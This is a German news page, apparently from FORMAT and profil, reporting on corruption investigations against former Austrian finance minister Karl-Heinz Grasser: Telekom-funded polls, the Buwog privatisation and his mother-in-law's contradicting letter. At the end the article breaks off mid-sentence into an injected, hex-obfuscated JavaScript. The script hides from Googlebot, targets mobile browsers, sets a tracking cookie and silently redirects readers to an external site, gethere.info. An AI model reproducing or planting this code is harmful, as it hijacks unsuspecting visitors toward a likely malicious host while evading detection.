Die böse Schwiegermutter
Telekom Austria zahlte Umfragen für Grasser
KHG ist auch in Telekom-Affäre Beschuldigter
In den Top-Ten-Wirtschaftsaffären ermittelt die
Justiz auf Hochtouren. Erste Teilanklagen sollen noch 2012 kommen.
FORMAT präsentiert einen Auszug aus der brisanten Agenda der Ankläger.
Am 24. November 2011 wurde das Sündenregister von Karl-Heinz
Grasser um eine brisante Zeile länger. Der Ex-Finanzminister wird nun
auch in der Telekom-Affäre als Beschuldigter geführt. In dem FORMAT
exklusiv vorliegenden Erhebungsauftrag der Staatsanwaltschaft wird das
Strafverfahren so begründet: „Weil der Verdacht besteht, dass die
Telekom Austria über dessen (Anm.: Grassers) Ersuchen in den Jahren 2005
und 2006, zuletzt mit Rechnung vom 30. 11. 2006 Meinungsumfragen der
market Marktforschungs GmbH & Co KG zu seiner Person über die Valora
AG bezahlte.“ Warum die Telekom den amtierenden Finanzminister KHG
sponserte, soll die Korruptionsbehörde BAK untersuchen.
Ein
Polizeibericht listet die offenbar von der Telekom bezahlten
market-Umfragen auf – allesamt im ganz persönlichen Interesse des
damaligen Finanzministers: „Das Privatleben von Karl-Heinz Grasser“
(Rechnungsdatum: 31. 5. 2005; Preis: 5.880 Euro); „Der Mehrwert von
Karl-Heinz Grasser“ (21. 2. 2006, 5.520 Euro); „Die Kandidatur von
Karl-Heinz Grasser“ (16. 5. 2006; 6.240 Euro); „Karl-Heinz Grasser als
Finanzminister einer großen Koalition“ (30. 11. 2006; 5.040 Euro).
Doch
die Marktforschungsrechnungen bilden nur einen Mosaikstein in der
Affäre KHG. Der Mann, der immer lauter klagt, ein Justizopfer zu sein,
ist auch in anderen Causen Beschuldigter. Der selbst ernannte „Mister
Supersauber“ ist in Bedrängnis. Zuletzt belastete ihn laut „profil“
sogar seine Schwiegermutter. Eine Anklage gegen KHG wird
wahrscheinlicher. Seinen Amigos Walter Meischberger und Ernst Plech
droht jedenfalls 2013 ein Prozess.
Mit seinem Klagelied ist
Grasser nicht alleine. Die oft kritisierte Justiz legt nun einen Gang
zu. Sollte der Plan der Staatsanwaltschaft Wien halten, dann werden sich
Karl Petrikovics (Immofinanz) und Alfons Mensdorff-Pouilly
(Eurofighter) noch heuer vor Gericht verantworten müssen. Bei
Wirtschaftskrimis wie Bank Medici und Kommunalkredit wird es noch
dauern. Auch Julius Meinl muss noch warten. Wieder gibt es einen neuen
Gutachter und neue Staatsanwälte. Die müssen sich erst einlesen – und
das dauert eben. Selbstverständlich gilt für alle genannten Personen die
Unschuldsvermutung.
Miriam Koch, Ashwien Sankholkar
(Von Michael Nikbakhsh und Ulla Schmid)
·Wahlkampfhilfe für die FPÖ?
Telekom II. Telekom soll Europawahlkampf der FPÖ 2004 gesponsert haben
·„Über Nacht gescheiter“
Buwog. Das Protokoll des skandalumwitterten Lehman-Auftrags
·Causa Buwog/Grasser
Aktuell. OLG hebt Urteil gegen Ramprecht und „profil“ auf
Die rauchende Pistole in der Causa Grasser.
Marina Giori-Lhota widerspricht ihrem Schwiegersohn. profil
veröffentlicht ihr vertrauliches Schreiben an die Behörden. Wie KHG
seine Familie instrumentalisierte, um mutmaßliche Buwog-Schmiergelder zu
rechtfertigen.
Es war einmal ein Schwiegersohn. Zu jung, zu schön, zu
intelligent. Und zu allem Überfluss mit einem goldenen Händchen für
Veranlagungen aller Art gesegnet.
Es war einmal eine
Schwiegermutter. Zu selbstlos, zu liebenswürdig, zu vertrauensvoll. Und
zu allem Überfluss mit 500.000 Euro ausgestattet, die sie nur allzu gern
vermehrt sehen wollte.
Dummerweise spielt’s das nicht einmal im Märchen. Denn die Schwiegermutter ist immer die Böse.
Karl-Heinz Grasser hat ein Problem. Es heißt Marina Giori-Lhota, Mutter von KHGs Kristallfee Fiona Pacifico-Grasser.
Am
18. November 2011 setzte Giori-Lhota an ihrem Wohnsitz im
eidgenössischen Oberägeri ein Schreiben auf, das den unter
Korruptionsverdacht stehenden Schwiegersohn direkt auf die Anklagebank
befördern könnte. Adressat des Briefs: die Großbetriebsprüfung des
Finanzamtes Innsbruck, die eine Untersuchung von Giori-Lhotas Finanzen
eingeleitet hatte. Dabei ging es im Wesentlichen um jene mittlerweile
berüchtigten 500.000 Euro, welche die Dame ihrem Schwiegersohn einst zur
Veranlagung überreicht haben soll. Behauptet zumindest Grasser. Er will
das Geld zwischen 2005 und 2006 – noch als amtierender Finanzminister –
in bar übernommen und anschließend im Namen von Giori-Lhota bei der
Meinl Bank einbezahlt haben – auf ein Meinl-Konto der
Treuhandgesellschaft Ferint AG mit Sitz in der Schweiz.
Nur: Schwiegermama weiß rein gar nichts davon. „Vorweg
ist festzuhalten, dass ich zu keinem Zeitpunkt ‚wirtschaftlich
Berechtigte‘ des auf die Ferint AG lautenden Depots Nr. 49214-0 bei der
Meinl Bank AG war“, so Grassers Schwiegermutter in ihrem Schreiben an die Finanz.
Der
zweiseitige Brief liegt profil vor. Das Dokument ist zentraler
Bestandteil des Abschlussberichts der mit der Aufarbeitung des
Buwog-Komplexes befassten „Soko Constantia“, welcher der Justiz Ende
vergangenen Jahres zugestellt wurde – und dürfte den Ermittlungen gegen
Karl-Heinz Grasser rund um die Privatisierung der
Bundeswohngesellschaften (Buwog) einen entscheidenden Drall geben.
Der
frühere Finanzminister der Republik Österreich steht im Verdacht, den
Buwog-Verkauf 2004 manipuliert und gemeinsam mit einer verschworenen
Clique abkassiert zu haben.
Grasser und dessen Entourage haben die Vorwürfe stets bestritten, noch gilt die Unschuldsvermutung.
Um
die Herkunft des mutmaßlichen Schmiergelds zu verschleiern, könnte
Grasser der Justiz obendrein gefälschte Dokumente untergejubelt haben.
Abenteuerliche Geschichten inklusive. Demnach hat er gegenüber den
Staatsanwälten seine Schwiegermutter aufgeboten, um windige
Investitionen über die Schweizer Treuhandgesellschaft Ferint AG
plausibel zu machen. So legte er etwa 2010 ein Dokument vor, wonach
Marina Giori-Lhota die „wirtschaftlich Berechtigte“ des Ferint-Kontos bei der Meinl Bank gewesen sei. Dumm nur: „Das
mir von Ihnen (gemeint ist die Finanz, Anm.) vorgelegte Formular über
die ‚Feststellung des wirtschaftlich Berechtigten‘ durch die Meinl Bank
AG … wurde ohne mein Zutun erstellt“, hält Grassers Schwiegermutter gegenüber der Finanz unmissverständlich fest.
Dass
die Dame ihren Schwiegersohn in schwerste Bedrängnis bringt, hat dieser
sich ausnahmslos selbst zuzuschreiben. Nachdem Grassers Version über
die – sehr einträgliche – Treuhandveranlagung der 500.000 Euro bei der
Justiz aktenkundig geworden war, wurde die Tiroler Finanz hellhörig. Sie
begehrte von Giori-Lhota, die auch eine Adresse in Kitzbühel hat,
Auskunft darüber, ob sie die Einkünfte an ihrem Wohnort in der Schweiz
versteuert hätte. Darauf die Schwiegermutter: „Ihrem Ersuchen um
Vorlage geeigneter Unterlagen, die belegen, dass die Erträge aus dem
Wertpapierdepot in der Schweiz der Besteuerung unterzogen worden sind,
kann ich … leider nicht nachkommen. Da ich nicht wirtschaftlich
Berechtigte des Depots bin bzw. war, waren allfällige Erträge aus diesem
Wertpapierdepot nicht in meine Schweizer Steuererklärung aufzunehmen.“
Um
die Hintergründe zu verstehen, muss man weit ins vergangene Jahrzehnt
zurückblicken. 2004 erteilte Grasser, damals Finanzminister, einem
Konsortium um die börsennotierte Immofinanz und die Raiffeisenlandesbank
Oberösterreich den Zuschlag für die Übernahme eines Pakets aus vier
Bundeswohngesellschaften mit insgesamt rund 60.000 Wohnungen. Die Gruppe
hatte mit 961 Millionen Euro um gerade einmal eine Million Euro mehr
geboten als die unterlegene CA Immo.
Wie Grassers früherer
Kabinettsmitarbeiter Michael Ramprecht gegenüber profil im Oktober 2009
ausgesagt hatte, soll der Buwog-Verkauf denn auch ein „abgekartetes
Spiel“ gewesen sein. Tatsächlich überwiesen die Immofinanz-Konsorten im
Anschluss an dieses Geschäft (mit zeitlichem Abstand) eine
„Erfolgsprovision“ an ihren Lobbyisten Peter Hochegger in der Höhe von
9,91 Millionen Euro.
Nach fast drei Jahren intensiver
Ermittlungen geht die Justiz nun davon aus, dass Grasser vom
Buwog-Verkauf profitiert haben könnte. Mit ihm Peter Hochegger, Walter
Meischberger und Ernst Karl Plech. Allesamt Grassers enge Freunde und
nach dessen Ausscheiden aus der Politik im Februar 2007 vorübergehend
geschäftlich mit diesem verbandelt.
Die ominösen 9,91 Millionen Euro
landeten zunächst bei Hocheggers Briefkasten „Astropolis“ auf Zypern.
Hochegger behielt 2,18 Millionen ein und verschob den Rest, 7,73
Millionen Euro, nach Liechtenstein. Steuerfrei. Hier wurden die
Millionen abzüglich „Spesen“ und „Manipulationsgebühren“ auf drei
Konten, geführt bei der Hypo Investmentbank Liechtenstein (HIB, damals
eine Tochter der Hypo Vorarlberg, heute Valartis Bank), eingezahlt:
Zwischen Jänner 2006 und November 2007 landeten solcherart
– 2,44
Millionen Euro auf dem HIB-Konto 10.400815.0.100 lautend auf „Walter“.
Dieses Konto wird von der Justiz mittlerweile niemand anderem als
Karl-Heinz Grasser zugerechnet
– 2,44 Millionen Euro auf dem
HIB-Konto 10.105125.0.100 lautend auf „Karin“. Dieses Konto rechnet die
Justiz Ernst Karl Plech zu. Er war zum Zeitpunkt der Privatisierung
unter anderem Aufsichtsratsvorsitzender der Buwog GmbH, also einer der
vier Bundeswohngesellschaften
– 2,13 Millionen Euro auf dem
HIB-Konto 10.105175.0.100 lautend auf „Natalie“. Dieses Konto
schließlich wird Walter Meischberger zugeschrieben. Er soll den
Immofinanz-Lobbyisten Peter Hochegger im Vorfeld des Buwog-Deals mit
entscheidenden Informationen aus dem Finanzministerium versorgt haben.
Karl-Heinz
Grasser soll also alleinvar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}